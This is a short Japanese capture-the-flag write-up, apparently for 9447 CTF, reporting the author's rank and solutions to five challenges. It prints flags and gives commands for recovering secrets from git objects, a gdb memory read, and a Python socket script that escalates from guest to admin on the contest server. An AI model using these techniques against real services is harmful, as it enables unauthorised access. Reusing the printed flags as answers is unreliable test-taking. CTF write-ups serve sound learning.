ぼっチーム omakase として参加した。最終的に獲得できたポイントは 427 点でチーム順位は 104 位 (登録 988 チーム中) で日本勢の中では 10 位だった。
tumorous (Web 100), bashful (Web 101), insanity_check (Reversing 1), no strings attached (Reversing 25), europe01 (Exploitation 200) の 5 問を解いた。
git log -p -3
flag: 9447{IM_SITTING_ON_A_PILE_OF_GOLD}
git unpack-objects < .../.git/objects/pack/pack-...pack
import zlib; zlib.decompress(open(r'.git/objects/2d/28acf09fc4424f7e1701bd7c8a6df29e6c9fe1', 'rb').read()) # b'blob 45\x009447{I_JUST_THINK_BITCOIN_WILL_DIE_OUT_SOON}\n'
flag: 9447{I_JUST_THINK_BITCOIN_WILL_DIE_OUT_SOON}
strings -a insanity | grep 9447
flag: 9447{This_is_a_flag}
$ gdb no_strings_attached
gdb-peda$ b *0x08048777
Breakpoint 1 at 0x08048777
gdb-peda$ r
...
[-----stack-----]
...
0004| 0xbfff7744 --> 0x804e448 --> 0x39 ('9')
...
[---------------]
...
Breakpoint 1, 0x08048777 in authenticate ()
gdb-peda$ x/ws 0x804e448
0x804e448: U"9447{you_are_an_international_mystery}"
flag: 9447{you_are_an_international_mystery}
import socket
import time
def main():
s = socket.create_connection(('europe.9447.plumbing', 9447), 3)
s.settimeout(3)
s.recv(1024)
s.send(b'1\n')
s.recv(1024)
s.send(b'guest\n')
s.recv(1024)
s.send(b'guest\n')
s.recv(1024)
s.send(b'1\n')
s.recv(1024)
s.send(b'admin\n')
s.recv(1024)
s.send(b'guest\n')
time.sleep(1)
s.recv(1024)
s.send(b'2\n')
print('[*]', s.recv(1024))
s.close()
if __name__ == '__main__':
main()
flag: 9447{...} (メモし忘れた)